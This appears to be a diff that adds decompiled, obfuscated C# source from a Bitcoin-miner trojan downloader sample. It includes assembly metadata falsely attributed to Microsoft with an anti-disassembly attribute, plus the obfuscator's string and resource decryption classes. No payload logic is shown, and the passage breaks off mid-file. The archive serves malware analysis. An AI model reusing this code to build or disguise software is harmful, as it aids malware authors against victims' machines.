auto-decompiled msil via petikvx

add

MSIL/Trojan-Downloader/MSIL/B/Trojan-Downloader.MSIL.BitCoinMiner.c-64f742a0b28b2c3d2a62ef6607fcfd5fa55b793a1aff3a6c11e014e3b119149e/AssemblyInfo.cs

@@ -0,0 +1,15 @@
+using SmartAssembly.Attributes;
+using System.Reflection;
+using System.Runtime.CompilerServices;
+using System.Runtime.InteropServices;
+
+[assembly: AssemblyFileVersion("1.0.0.0")]
+[assembly: AssemblyTitle("Miners")]
+[assembly: SuppressIldasm]
+[assembly: ComVisible(false)]
+[assembly: Guid("e9a643c8-ce10-46f5-a70c-456b68ccdfa4")]
+[assembly: AssemblyProduct("Miners")]
+[assembly: PoweredBy("Powered by SmartAssembly")]
+[assembly: AssemblyCopyright("Copyright © Microsoft 2011")]
+[assembly: AssemblyCompany("Microsoft")]
+[assembly: AssemblyVersion("1.0.0.0")]

MSIL/Trojan-Downloader/MSIL/B/Trojan-Downloader.MSIL.BitCoinMiner.c-64f742a0b28b2c3d2a62ef6607fcfd5fa55b793a1aff3a6c11e014e3b119149e/ICSharpCode/SharpZipLib/SharpZipBaseException.cs

@@ -0,0 +1,30 @@
+// Decompiled with JetBrains decompiler
+// Type: ICSharpCode.SharpZipLib.SharpZipBaseException
+// Assembly: WindowsBC, Version=1.0.0.0, Culture=neutral, PublicKeyToken=9909ee17073e3364
+// MVID: 658BFC85-36E1-493D-98E6-AE9127D73D60
+// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan-Downloader.MSIL.BitCoinMiner.c-64f742a0b28b2c3d2a62ef6607fcfd5fa55b793a1aff3a6c11e014e3b119149e.exe
+
+using System;
+using System.Runtime.InteropServices;
+using System.Runtime.Serialization;
+
+namespace ICSharpCode.SharpZipLib
+{
+  [Serializable]
+  public class SharpZipBaseException : ApplicationException
+  {
+    protected SharpZipBaseException([In] SerializationInfo obj0, [In] StreamingContext obj1)
+      : base(obj0, obj1)
+    {
+    }
+
+    public SharpZipBaseException()
+    {
+    }
+
+    public SharpZipBaseException([In] string obj0)
+      : base(obj0)
+    {
+    }
+  }
+}

MSIL/Trojan-Downloader/MSIL/B/Trojan-Downloader.MSIL.BitCoinMiner.c-64f742a0b28b2c3d2a62ef6607fcfd5fa55b793a1aff3a6c11e014e3b119149e/ICSharpCode/SharpZipLib/Tar/TarException.cs

@@ -0,0 +1,30 @@
+// Decompiled with JetBrains decompiler
+// Type: ICSharpCode.SharpZipLib.Tar.TarException
+// Assembly: WindowsBC, Version=1.0.0.0, Culture=neutral, PublicKeyToken=9909ee17073e3364
+// MVID: 658BFC85-36E1-493D-98E6-AE9127D73D60
+// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan-Downloader.MSIL.BitCoinMiner.c-64f742a0b28b2c3d2a62ef6607fcfd5fa55b793a1aff3a6c11e014e3b119149e.exe
+
+using System;
+using System.Runtime.InteropServices;
+using System.Runtime.Serialization;
+
+namespace ICSharpCode.SharpZipLib.Tar
+{
+  [Serializable]
+  public sealed class TarException : SharpZipBaseException
+  {
+    protected TarException([In] SerializationInfo obj0, [In] StreamingContext obj1)
+      : base(obj0, obj1)
+    {
+    }
+
+    public TarException()
+    {
+    }
+
+    public TarException([In] string obj0)
+      : base(obj0)
+    {
+    }
+  }
+}

MSIL/Trojan-Downloader/MSIL/B/Trojan-Downloader.MSIL.BitCoinMiner.c-64f742a0b28b2c3d2a62ef6607fcfd5fa55b793a1aff3a6c11e014e3b119149e/ICSharpCode/SharpZipLib/Zip/ZipException.cs

@@ -0,0 +1,30 @@
+// Decompiled with JetBrains decompiler
+// Type: ICSharpCode.SharpZipLib.Zip.ZipException
+// Assembly: WindowsBC, Version=1.0.0.0, Culture=neutral, PublicKeyToken=9909ee17073e3364
+// MVID: 658BFC85-36E1-493D-98E6-AE9127D73D60
+// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan-Downloader.MSIL.BitCoinMiner.c-64f742a0b28b2c3d2a62ef6607fcfd5fa55b793a1aff3a6c11e014e3b119149e.exe
+
+using System;
+using System.Runtime.InteropServices;
+using System.Runtime.Serialization;
+
+namespace ICSharpCode.SharpZipLib.Zip
+{
+  [Serializable]
+  public sealed class ZipException : SharpZipBaseException
+  {
+    protected ZipException([In] SerializationInfo obj0, [In] StreamingContext obj1)
+      : base(obj0, obj1)
+    {
+    }
+
+    public ZipException()
+    {
+    }
+
+    public ZipException([In] string obj0)
+      : base(obj0)
+    {
+    }
+  }
+}

MSIL/Trojan-Downloader/MSIL/B/Trojan-Downloader.MSIL.BitCoinMiner.c-64f742a0b28b2c3d2a62ef6607fcfd5fa55b793a1aff3a6c11e014e3b119149e/Miners/My/MySettings.cs

@@ -0,0 +1,73 @@
+// Decompiled with JetBrains decompiler
+// Type: Miners.My.MySettings
+// Assembly: WindowsBC, Version=1.0.0.0, Culture=neutral, PublicKeyToken=9909ee17073e3364
+// MVID: 658BFC85-36E1-493D-98E6-AE9127D73D60
+// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan-Downloader.MSIL.BitCoinMiner.c-64f742a0b28b2c3d2a62ef6607fcfd5fa55b793a1aff3a6c11e014e3b119149e.exe
+
+using \u009C\u0002;
+using Microsoft.VisualBasic.ApplicationServices;
+using System;
+using System.CodeDom.Compiler;
+using System.ComponentModel;
+using System.Configuration;
+using System.Diagnostics;
+using System.Runtime.CompilerServices;
+
+namespace Miners.My
+{
+  [EditorBrowsable(EditorBrowsableState.Advanced)]
+  [CompilerGenerated]
+  [GeneratedCode("Microsoft.VisualStudio.Editors.SettingsDesigner.SettingsSingleFileGenerator", "9.0.0.0")]
+  internal sealed class MySettings : ApplicationSettingsBase
+  {
+    private static MySettings \u0001 = (MySettings) \u009A\u0004.\u0019\u0006((SettingsBase) new MySettings());
+    private static bool \u0002;
+    private static object \u0003 = \u001B\u0005.\u008C\u0005(new object());
+
+    [DebuggerNonUserCode]
+    public MySettings()
+    {
+    }
+
+    [EditorBrowsable(EditorBrowsableState.Advanced)]
+    [DebuggerNonUserCode]
+    private static void \u0017\u0006(object sender, EventArgs e)
+    {
+      if (!\u0007\u0003.\u007E\u0015((object) \u009E\u0002.\u0007\u0006()))
+        return;
+      // ISSUE: reference to a compiler-generated method
+      \u0093\u0003.\u007E\u001B\u0006((object) \u0005\u0003.\u0019\u0006());
+    }
+
+    public static MySettings Default
+    {
+      get
+      {
+        if (!MySettings.\u0002)
+        {
+          object obj = MySettings.\u0003;
+          \u0093\u0003.\u001E(obj);
+          \u0093\u0003.\u009B\u0003(obj);
+          try
+          {
+            if (!MySettings.\u0002)
+            {
+              \u0012\u0003.\u007E\u0010((object) \u009E\u0002.\u0007\u0006(), (ShutdownEventHandler) ((sender, e) =>
+              {
+                if (!\u0007\u0003.\u007E\u0015((object) \u009E\u0002.\u0007\u0006()))
+                  return;
+                \u0093\u0003.\u007E\u001B\u0006((object) \u0005\u0003.\u0019\u0006());
+              }));
+              MySettings.\u0002 = true;
+            }
+          }
+          finally
+          {
+            \u0093\u0003.\u009C\u0003(obj);
+          }
+        }
+        return MySettings.\u0001;
+      }
+    }
+  }
+}

MSIL/Trojan-Downloader/MSIL/B/Trojan-Downloader.MSIL.BitCoinMiner.c-64f742a0b28b2c3d2a62ef6607fcfd5fa55b793a1aff3a6c11e014e3b119149e/SmartAssembly/Attributes/PoweredByAttribute.cs

@@ -0,0 +1,17 @@
+// Decompiled with JetBrains decompiler
+// Type: SmartAssembly.Attributes.PoweredByAttribute
+// Assembly: WindowsBC, Version=1.0.0.0, Culture=neutral, PublicKeyToken=9909ee17073e3364
+// MVID: 658BFC85-36E1-493D-98E6-AE9127D73D60
+// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan-Downloader.MSIL.BitCoinMiner.c-64f742a0b28b2c3d2a62ef6607fcfd5fa55b793a1aff3a6c11e014e3b119149e.exe
+
+using System;
+
+namespace SmartAssembly.Attributes
+{
+  public sealed class PoweredByAttribute : Attribute
+  {
+    public PoweredByAttribute(string s)
+    {
+    }
+  }
+}

MSIL/Trojan-Downloader/MSIL/B/Trojan-Downloader.MSIL.BitCoinMiner.c-64f742a0b28b2c3d2a62ef6607fcfd5fa55b793a1aff3a6c11e014e3b119149e/_0001_0002/_0002_0002.cs

@@ -0,0 +1,51 @@
+// Decompiled with JetBrains decompiler
+// Type: 
.
+// Assembly: WindowsBC, Version=1.0.0.0, Culture=neutral, PublicKeyToken=9909ee17073e3364
+// MVID: 658BFC85-36E1-493D-98E6-AE9127D73D60
+// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan-Downloader.MSIL.BitCoinMiner.c-64f742a0b28b2c3d2a62ef6607fcfd5fa55b793a1aff3a6c11e014e3b119149e.exe
+
+using \u000E;
+using \u0090;
+using System;
+using System.Runtime.InteropServices;
+
+namespace \u0001\u0002
+{
+  internal class \u0002\u0002
+  {
+    private uint[] \u0001;
+
+    protected byte \u0097\u0003()
+    {
+      uint num = (uint) ((int) this.\u0001[2] & (int) ushort.MaxValue | 2);
+      return (byte) (num * (num ^ 1U) >> 8);
+    }
+
+    protected void \u0098\u0003([In] byte[] obj0)
+    {
+      if (obj0 == null)
+        throw new ArgumentNullException(\u0008.\u000E\u0003(868));
+      if (obj0.Length != 12)
+        throw new InvalidOperationException(\u0008.\u000E\u0003(881));
+      this.\u0001 = new uint[3];
+      this.\u0001[0] = (uint) ((int) obj0[3] << 24 | (int) obj0[2] << 16 | (int) obj0[1] << 8) | (uint) obj0[0];
+      this.\u0001[1] = (uint) ((int) obj0[7] << 24 | (int) obj0[6] << 16 | (int) obj0[5] << 8) | (uint) obj0[4];
+      this.\u0001[2] = (uint) ((int) obj0[11] << 24 | (int) obj0[10] << 16 | (int) obj0[9] << 8) | (uint) obj0[8];
+    }
+
+    protected void \u0099\u0003([In] byte obj0)
+    {
+      this.\u0001[0] = \u0091.\u008A\u0003(this.\u0001[0], obj0);
+      this.\u0001[1] = this.\u0001[1] + (uint) (byte) this.\u0001[0];
+      this.\u0001[1] = (uint) ((int) this.\u0001[1] * 134775813 + 1);
+      this.\u0001[2] = \u0091.\u008A\u0003(this.\u0001[2], (byte) (this.\u0001[1] >> 24));
+    }
+
+    protected void Reset()
+    {
+      this.\u0001[0] = 0U;
+      this.\u0001[1] = 0U;
+      this.\u0001[2] = 0U;
+    }
+  }
+}

MSIL/Trojan-Downloader/MSIL/B/Trojan-Downloader.MSIL.BitCoinMiner.c-64f742a0b28b2c3d2a62ef6607fcfd5fa55b793a1aff3a6c11e014e3b119149e/_0001_0002/_0003_0002.cs

@@ -0,0 +1,51 @@
+// Decompiled with JetBrains decompiler
+// Type: 
.
+// Assembly: WindowsBC, Version=1.0.0.0, Culture=neutral, PublicKeyToken=9909ee17073e3364
+// MVID: 658BFC85-36E1-493D-98E6-AE9127D73D60
+// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan-Downloader.MSIL.BitCoinMiner.c-64f742a0b28b2c3d2a62ef6607fcfd5fa55b793a1aff3a6c11e014e3b119149e.exe
+
+using \u0001\u0002;
+using System;
+using System.Runtime.CompilerServices;
+using System.Runtime.InteropServices;
+using System.Security.Cryptography;
+
+namespace \u0001\u0002
+{
+  internal sealed class \u0003\u0002 : \u0002\u0002, IDisposable, ICryptoTransform
+  {
+    internal \u0003\u0002([In] byte[] obj0) => this.\u0098\u0003(obj0);
+
+    public byte[] TransformFinalBlock([In] byte[] obj0, [In] int obj1, [In] int obj2)
+    {
+      byte[] numArray = new byte[obj2];
+      this.TransformBlock(obj0, obj1, obj2, numArray, 0);
+      return numArray;
+    }
+
+    public int TransformBlock([In] byte[] obj0, [In] int obj1, [In] int obj2, [In] byte[] obj3, [In] int obj4)
+    {
+      for (int index = obj1; index < obj1 + obj2; ++index)
+      {
+        byte num = obj0[index];
+        obj3[obj4++] = (byte) ((uint) obj0[index] ^ (uint) this.\u0097\u0003());
+        this.\u0099\u0003(num);
+      }
+      return obj2;
+    }
+
+    [SpecialName]
+    public bool get_CanReuseTransform() => true;
+
+    [SpecialName]
+    public int get_InputBlockSize() => 1;
+
+    [SpecialName]
+    public int get_OutputBlockSize() => 1;
+
+    [SpecialName]
+    public bool get_CanTransformMultipleBlocks() => true;
+
+    public void Dispose() => this.Reset();
+  }
+}

MSIL/Trojan-Downloader/MSIL/B/Trojan-Downloader.MSIL.BitCoinMiner.c-64f742a0b28b2c3d2a62ef6607fcfd5fa55b793a1aff3a6c11e014e3b119149e/_0001_0002/_0004_0002.cs

@@ -0,0 +1,51 @@
+// Decompiled with JetBrains decompiler
+// Type: 
.
+// Assembly: WindowsBC, Version=1.0.0.0, Culture=neutral, PublicKeyToken=9909ee17073e3364
+// MVID: 658BFC85-36E1-493D-98E6-AE9127D73D60
+// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan-Downloader.MSIL.BitCoinMiner.c-64f742a0b28b2c3d2a62ef6607fcfd5fa55b793a1aff3a6c11e014e3b119149e.exe
+
+using \u0001\u0002;
+using System;
+using System.Runtime.CompilerServices;
+using System.Runtime.InteropServices;
+using System.Security.Cryptography;
+
+namespace \u0001\u0002
+{
+  internal sealed class \u0004\u0002 : \u0002\u0002, IDisposable, ICryptoTransform
+  {
+    internal \u0004\u0002([In] byte[] obj0) => this.\u0098\u0003(obj0);
+
+    public byte[] TransformFinalBlock([In] byte[] obj0, [In] int obj1, [In] int obj2)
+    {
+      byte[] numArray = new byte[obj2];
+      this.TransformBlock(obj0, obj1, obj2, numArray, 0);
+      return numArray;
+    }
+
+    public int TransformBlock([In] byte[] obj0, [In] int obj1, [In] int obj2, [In] byte[] obj3, [In] int obj4)
+    {
+      for (int index = obj1; index < obj1 + obj2; ++index)
+      {
+        byte num = (byte) ((uint) obj0[index] ^ (uint) this.\u0097\u0003());
+        obj3[obj4++] = num;
+        this.\u0099\u0003(num);
+      }
+      return obj2;
+    }
+
+    [SpecialName]
+    public bool get_CanReuseTransform() => true;
+
+    [SpecialName]
+    public int get_InputBlockSize() => 1;
+
+    [SpecialName]
+    public int get_OutputBlockSize() => 1;
+
+    [SpecialName]
+    public bool get_CanTransformMultipleBlocks() => true;
+
+    public void Dispose() => this.Reset();
+  }
+}

MSIL/Trojan-Downloader/MSIL/B/Trojan-Downloader.MSIL.BitCoinMiner.c-64f742a0b28b2c3d2a62ef6607fcfd5fa55b793a1aff3a6c11e014e3b119149e/_0001_0002/_0005_0002.cs

@@ -0,0 +1,83 @@
+// Decompiled with JetBrains decompiler
+// Type: 
.
+// Assembly: WindowsBC, Version=1.0.0.0, Culture=neutral, PublicKeyToken=9909ee17073e3364
+// MVID: 658BFC85-36E1-493D-98E6-AE9127D73D60
+// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan-Downloader.MSIL.BitCoinMiner.c-64f742a0b28b2c3d2a62ef6607fcfd5fa55b793a1aff3a6c11e014e3b119149e.exe
+
+using \u0001\u0002;
+using \u000E;
+using System;
+using System.Runtime.CompilerServices;
+using System.Runtime.InteropServices;
+using System.Security.Cryptography;
+
+namespace \u0001\u0002
+{
+  internal sealed class \u0005\u0002 : \u009F
+  {
+    private byte[] \u0001;
+
+    [SpecialName]
+    public override int get_BlockSize() => 8;
+
+    [SpecialName]
+    public override void set_BlockSize([In] int obj0)
+    {
+      if (obj0 != 8)
+        throw new CryptographicException(\u0008.\u000E\u0003(914));
+    }
+
+    [SpecialName]
+    public override KeySizes[] get_LegalKeySizes() => new KeySizes[1]
+    {
+      new KeySizes(96, 96, 0)
+    };
+
+    public override void GenerateIV()
+    {
+    }
+
+    [SpecialName]
+    public override KeySizes[] get_LegalBlockSizes() => new KeySizes[1]
+    {
+      new KeySizes(8, 8, 0)
+    };
+
+    [SpecialName]
+    public override byte[] get_Key()
+    {
+      if (this.\u0001 == null)
+        \u0093\u0003.\u007E\u0006\u0006((object) this);
+      return (byte[]) \u001B\u0005.\u007E\u009A((object) this.\u0001);
+    }
+
+    [SpecialName]
+    public override void set_Key([In] byte[] obj0)
+    {
+      if (obj0 == null)
+        throw new ArgumentNullException(\u0008.\u000E\u0003(943));
+      if (obj0.Length != 12)
+        throw new CryptographicException(\u0008.\u000E\u0003(952));
+      this.\u0001 = (byte[]) \u001B\u0005.\u007E\u009A((object) obj0);
+    }
+
+    public override void GenerateKey()
+    {
+      this.\u0001 = new byte[12];
+      Random random = new Random();
+      \u0008\u0004.\u007E\u0090\u0003((object) random, this.\u0001);
+    }
+
+    public override ICryptoTransform CreateEncryptor([In] byte[] obj0, [In] byte[] obj1)
+    {
+      this.\u0001 = obj0;
+      return (ICryptoTransform) new \u0003\u0002(\u008A\u0005.\u007E\u009F\u0005((object) this));
+    }
+
+    public override ICryptoTransform CreateDecryptor([In] byte[] obj0, [In] byte[] obj1)
+    {
+      this.\u0001 = obj0;
+      return (ICryptoTransform) new \u0004\u0002(\u008A\u0005.\u007E\u009F\u0005((object) this));
+    }
+  }
+}

MSIL/Trojan-Downloader/MSIL/B/Trojan-Downloader.MSIL.BitCoinMiner.c-64f742a0b28b2c3d2a62ef6607fcfd5fa55b793a1aff3a6c11e014e3b119149e/_0001_0002/_0006_0002.cs

@@ -0,0 +1,89 @@
+// Decompiled with JetBrains decompiler
+// Type: 
.
+// Assembly: WindowsBC, Version=1.0.0.0, Culture=neutral, PublicKeyToken=9909ee17073e3364
+// MVID: 658BFC85-36E1-493D-98E6-AE9127D73D60
+// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan-Downloader.MSIL.BitCoinMiner.c-64f742a0b28b2c3d2a62ef6607fcfd5fa55b793a1aff3a6c11e014e3b119149e.exe
+
+using \u0001\u0002;
+using \u000E;
+using System;
+using System.IO;
+using System.Runtime.InteropServices;
+using System.Security.Cryptography;
+
+namespace \u0001\u0002
+{
+  internal sealed class \u0006\u0002 : CryptoStream
+  {
+    private Stream \u0001;
+    private \u0007\u0002 \u0002;
+    private byte[] \u0003;
+    private int \u0004;
+    private int \u0005;
+    private int \u0006;
+
+    public \u0006\u0002([In] Stream obj0, [In] \u0007\u0002 obj1, [In] CryptoStreamMode obj2)
+      : base(obj0, (ICryptoTransform) obj1, obj2)
+    {
+      this.\u0001 = obj0;
+      this.\u0002 = obj1;
+      this.\u0003 = new byte[1024];
+      this.\u0006 = 26;
+      if (obj2 != CryptoStreamMode.Read)
+        throw new Exception(\u0008.\u000E\u0003(981));
+    }
+
+    public override int Read([In] byte[] obj0, [In] int obj1, [In] int obj2)
+    {
+      int num1 = 0;
+      while (num1 < obj2)
+      {
+        int num2 = this.\u0006 - (this.\u0005 - this.\u0004);
+        if (this.\u0003.Length - this.\u0005 < num2)
+        {
+          int index1 = 0;
+          int index2 = this.\u0004;
+          while (index2 < this.\u0005)
+          {
+            this.\u0003[index1] = this.\u0003[index2];
+            ++index2;
+            ++index1;
+          }
+          this.\u0005 -= this.\u0004;
+          this.\u0004 = 0;
+        }
+        this.\u0005 += \u0089\u0005.\u007E\u000F\u0005((object) this.\u0001, this.\u0003, this.\u0005, num2);
+        int num3 = this.\u0005 - this.\u0004;
+        if (num3 >= this.\u0006)
+        {
+          this.\u0002.TransformBlock(this.\u0003, this.\u0004, 16, obj0, obj1);
+          num1 += 16;
+          obj1 += 16;
+          this.\u0004 += 16;
+        }
+        else
+        {
+          if (num3 > 10)
+          {
+            int num4 = num3 - 10;
+            this.\u0002.TransformBlock(this.\u0003, this.\u0004, num4, obj0, obj1);
+            num1 += num4;
+            this.\u0004 += num4;
+          }
+          else if (num3 < 10)
+            throw new Exception(\u0008.\u000E\u0003(1018));
+          byte[] numArray = this.\u0002.\u009B\u0003();
+          for (int index = 0; index < 10; ++index)
+          {
+            if ((int) numArray[index] != (int) this.\u0003[this.\u0004 + index])
+              throw new Exception(\u0008.\u000E\u0003(1063));
+          }
+          break;
+        }
+      }
+      return num1;
+    }
+
+    public override void Write([In] byte[] obj0, [In] int obj1, [In] int obj2) => throw new NotImplementedException();
+  }
+}

MSIL/Trojan-Downloader/MSIL/B/Trojan-Downloader.MSIL.BitCoinMiner.c-64f742a0b28b2c3d2a62ef6607fcfd5fa55b793a1aff3a6c11e014e3b119149e/_0001_0002/_0007_0002.cs

@@ -0,0 +1,112 @@
+// Decompiled with JetBrains decompiler
+// Type: 
.
+// Assembly: WindowsBC, Version=1.0.0.0, Culture=neutral, PublicKeyToken=9909ee17073e3364
+// MVID: 658BFC85-36E1-493D-98E6-AE9127D73D60
+// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan-Downloader.MSIL.BitCoinMiner.c-64f742a0b28b2c3d2a62ef6607fcfd5fa55b793a1aff3a6c11e014e3b119149e.exe
+
+using \u000E;
+using System;
+using System.Runtime.CompilerServices;
+using System.Runtime.InteropServices;
+using System.Security.Cryptography;
+
+namespace \u0001\u0002
+{
+  internal sealed class \u0007\u0002 : IDisposable, ICryptoTransform
+  {
+    private int \u0001;
+    private ICryptoTransform \u0002;
+    private readonly byte[] \u0003;
+    private byte[] \u0004;
+    private int \u0005;
+    private byte[] \u0006;
+    private HMACSHA1 \u0007;
+    private bool \u0008;
+    private bool \u000E;
+
+    public \u0007\u0002([In] string obj0, [In] byte[] obj1, [In] int obj2, [In] bool obj3)
+    {
+      if (obj2 != 16 && obj2 != 32)
+        throw new Exception(\u0097\u0003.\u001D\u0002((object) \u0008.\u000E\u0003(1265), (object) obj2, (object) \u0008.\u000E\u0003(1290)));
+      if (obj1.Length != obj2 / 2)
+      {
+        object[] objArray = new object[4]
+        {
+          (object) \u0008.\u000E\u0003(1319),
+          (object) (obj2 / 2),
+          (object) \u0008.\u000E\u0003(1356),
+          (object) obj2
+        };
+        throw new Exception(\u008B\u0004.\u001E\u0002(objArray));
+      }
+      this.\u0001 = obj2;
+      this.\u0004 = new byte[this.\u0001];
+      this.\u0005 = 16;
+      Rfc2898DeriveBytes rfc2898DeriveBytes = new Rfc2898DeriveBytes(obj0, obj1, 1000);
+      RijndaelManaged rijndaelManaged = new RijndaelManaged();
+      \u0092\u0004.\u007E\u0002\u0006((object) rijndaelManaged, CipherMode.ECB);
+      this.\u0003 = new byte[this.\u0001];
+      byte[] numArray = \u001C\u0004.\u007E\u0008\u0006((object) rfc2898DeriveBytes, this.\u0001);
+      byte[] key = \u001C\u0004.\u007E\u0008\u0006((object) rfc2898DeriveBytes, this.\u0001);
+      this.\u0002 = \u008E\u0003.\u007E\u0003\u0006((object) rijndaelManaged, numArray, key);
+      this.\u0006 = \u001C\u0004.\u007E\u0008\u0006((object) rfc2898DeriveBytes, 2);
+      this.\u0007 = new HMACSHA1(key);
+      this.\u000E = obj3;
+    }
+
+    public int TransformBlock([In] byte[] obj0, [In] int obj1, [In] int obj2, [In] byte[] obj3, [In] int obj4)
+    {
+      if (!this.\u000E)
+      {
+        int num1 = \u0094\u0003.\u007E\u000F\u0006((object) this.\u0007, obj0, obj1, obj2, obj0, obj1);
+      }
+      for (int index1 = 0; index1 < obj2; ++index1)
+      {
+        if (this.\u0005 == 16)
+        {
+          int index2 = 0;
+          while (++this.\u0003[index2] == (byte) 0)
+            ++index2;
+          int num2 = \u0094\u0003.\u007E\u0099\u0005((object) this.\u0002, this.\u0003, 0, this.\u0001, this.\u0004, 0);
+          this.\u0005 = 0;
+        }
+        obj3[index1 + obj4] = (byte) ((int) obj0[index1 + obj1] ^ (int) this.\u0004[this.\u0005++]);
+      }
+      if (this.\u000E)
+      {
+        int num3 = \u0094\u0003.\u007E\u000F\u0006((object) this.\u0007, obj3, obj4, obj2, obj3, obj4);
+      }
+      return obj2;
+    }
+
+    [SpecialName]
+    public byte[] \u009A\u0003() => this.\u0006;
+
+    public byte[] \u009B\u0003()
+    {
+      if (!this.\u0008)
+      {
+        byte[] numArray1 = new byte[0];
+        byte[] numArray2 = \u0081\u0003.\u007E\u0010\u0006((object) this.\u0007, numArray1, 0, 0);
+        this.\u0008 = true;
+      }
+      return \u008A\u0005.\u007E\u000E\u0006((object) this.\u0007);
+    }
+
+    public byte[] TransformFinalBlock([In] byte[] obj0, [In] int obj1, [In] int obj2) => throw new NotImplementedException(\u0008.\u000E\u0003(1377));
+
+    [SpecialName]
+    public int get_InputBlockSize() => this.\u0001;
+
+    [SpecialName]
+    public int get_OutputBlockSize() => this.\u0001;
+
+    [SpecialName]
+    public bool get_CanTransformMultipleBlocks() => true;
+
+    [SpecialName]
+    public bool get_CanReuseTransform() => true;
+
+    public void Dispose() => \u0093\u0003.\u007E\u009E((object) this.\u0002);
+  }
+}

MSIL/Trojan-Downloader/MSIL/B/Trojan-Downloader.MSIL.BitCoinMiner.c-64f742a0b28b2c3d2a62ef6607fcfd5fa55b793a1aff3a6c11e014e3b119149e/_0001_0002/_009F.cs

@@ -0,0 +1,53 @@
+// Decompiled with JetBrains decompiler
+// Type: 
.Ÿ
+// Assembly: WindowsBC, Version=1.0.0.0, Culture=neutral, PublicKeyToken=9909ee17073e3364
+// MVID: 658BFC85-36E1-493D-98E6-AE9127D73D60
+// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan-Downloader.MSIL.BitCoinMiner.c-64f742a0b28b2c3d2a62ef6607fcfd5fa55b793a1aff3a6c11e014e3b119149e.exe
+
+using \u000E;
+using \u0090;
+using System;
+using System.Runtime.InteropServices;
+using System.Security.Cryptography;
+
+namespace \u0001\u0002
+{
+  internal abstract class \u009F : SymmetricAlgorithm
+  {
+    public static byte[] \u0096\u0003([In] byte[] obj0)
+    {
+      if (obj0 == null)
+        throw new ArgumentNullException(\u0008.\u000E\u0003(838));
+      if (obj0.Length == 0)
+        throw new ArgumentException(\u0008.\u000E\u0003(847), \u0008.\u000E\u0003(838));
+      uint[] numArray = new uint[3]
+      {
+        305419896U,
+        591751049U,
+        878082192U
+      };
+      for (int index = 0; index < obj0.Length; ++index)
+      {
+        numArray[0] = \u0091.\u008A\u0003(numArray[0], obj0[index]);
+        numArray[1] = numArray[1] + (uint) (byte) numArray[0];
+        numArray[1] = (uint) ((int) numArray[1] * 134775813 + 1);
+        numArray[2] = \u0091.\u008A\u0003(numArray[2], (byte) (numArray[1] >> 24));
+      }
+      return new byte[12]
+      {
+        (byte) (numArray[0] & (uint) byte.MaxValue),
+        (byte) (numArray[0] >> 8 & (uint) byte.MaxValue),
+        (byte) (numArray[0] >> 16 & (uint) byte.MaxValue),
+        (byte) (numArray[0] >> 24 & (uint) byte.MaxValue),
+        (byte) (numArray[1] & (uint) byte.MaxValue),
+        (byte) (numArray[1] >> 8 & (uint) byte.MaxValue),
+        (byte) (numArray[1] >> 16 & (uint) byte.MaxValue),
+        (byte) (numArray[1] >> 24 & (uint) byte.MaxValue),
+        (byte) (numArray[2] & (uint) byte.MaxValue),
+        (byte) (numArray[2] >> 8 & (uint) byte.MaxValue),
+        (byte) (numArray[2] >> 16 & (uint) byte.MaxValue),
+        (byte) (numArray[2] >> 24 & (uint) byte.MaxValue)
+      };
+    }
+  }
+}

MSIL/Trojan-Downloader/MSIL/B/Trojan-Downloader.MSIL.BitCoinMiner.c-64f742a0b28b2c3d2a62ef6607fcfd5fa55b793a1aff3a6c11e014e3b119149e/_0001_0004.cs

@@ -0,0 +1,7 @@
+// Decompiled with JetBrains decompiler
+// Type: 

+// Assembly: WindowsBC, Version=1.0.0.0, Culture=neutral, PublicKeyToken=9909ee17073e3364
+// MVID: 658BFC85-36E1-493D-98E6-AE9127D73D60
+// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan-Downloader.MSIL.BitCoinMiner.c-64f742a0b28b2c3d2a62ef6607fcfd5fa55b793a1aff3a6c11e014e3b119149e.exe
+
+internal delegate char[] \u0001\u0004();

MSIL/Trojan-Downloader/MSIL/B/Trojan-Downloader.MSIL.BitCoinMiner.c-64f742a0b28b2c3d2a62ef6607fcfd5fa55b793a1aff3a6c11e014e3b119149e/_0001_0005.cs

@@ -0,0 +1,10 @@
+// Decompiled with JetBrains decompiler
+// Type: 

+// Assembly: WindowsBC, Version=1.0.0.0, Culture=neutral, PublicKeyToken=9909ee17073e3364
+// MVID: 658BFC85-36E1-493D-98E6-AE9127D73D60
+// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan-Downloader.MSIL.BitCoinMiner.c-64f742a0b28b2c3d2a62ef6607fcfd5fa55b793a1aff3a6c11e014e3b119149e.exe
+
+using System;
+using System.Runtime.InteropServices;
+
+internal delegate Delegate \u0001\u0005([In] object obj0, [In] Type obj1);

MSIL/Trojan-Downloader/MSIL/B/Trojan-Downloader.MSIL.BitCoinMiner.c-64f742a0b28b2c3d2a62ef6607fcfd5fa55b793a1aff3a6c11e014e3b119149e/_0002_0004.cs

@@ -0,0 +1,10 @@
+// Decompiled with JetBrains decompiler
+// Type: 
+// Assembly: WindowsBC, Version=1.0.0.0, Culture=neutral, PublicKeyToken=9909ee17073e3364
+// MVID: 658BFC85-36E1-493D-98E6-AE9127D73D60
+// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan-Downloader.MSIL.BitCoinMiner.c-64f742a0b28b2c3d2a62ef6607fcfd5fa55b793a1aff3a6c11e014e3b119149e.exe
+
+using System;
+using System.Runtime.InteropServices;
+
+internal delegate Type \u0002\u0004([In] RuntimeTypeHandle obj0);

MSIL/Trojan-Downloader/MSIL/B/Trojan-Downloader.MSIL.BitCoinMiner.c-64f742a0b28b2c3d2a62ef6607fcfd5fa55b793a1aff3a6c11e014e3b119149e/_0002_0005.cs

@@ -0,0 +1,9 @@
+// Decompiled with JetBrains decompiler
+// Type: 
